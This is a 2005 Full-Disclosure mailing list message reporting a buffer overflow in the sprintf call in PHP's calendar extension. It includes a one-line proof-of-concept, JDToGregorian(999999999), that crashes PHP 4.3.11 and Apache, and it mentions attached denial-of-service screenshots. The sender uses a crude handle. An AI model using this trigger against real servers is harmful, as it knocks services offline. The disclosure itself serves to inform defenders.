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Re: [Full-disclosure] PHP: Calendar Buffer Overflow

from [FistFucker] Network Security [Permanent Link]
Subject: Re: [Full-disclosure] PHP: Calendar Buffer Overflow
Date: Mon, 27 Jun 2005 07:02:58 +0200 
DoS screenshots attached, Apache and PHP

----- Original Message ----- From: "FistFucker" <FistFuXXer@gmx.de>
To: "Full-Disclosure" <full-disclosure@lists.grok.org.uk>
Sent: Monday, June 27, 2005 6:34 AM
Subject: [Full-disclosure] PHP: Calendar Buffer Overflow


There are some nice sprintf()'s in "\ext\calendar\calendar.c":
'sprintf(date, "%i/%i/%i", month, day, year);'

Example exploitation (4.3.11):


<?php

 JDToGregorian(999999999);

?>
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Attachment: jdtogregorian_overflow3.jpg
Description: JPEG image

Attachment: jdtogregorian_overflow4.jpg
Description: JPEG image

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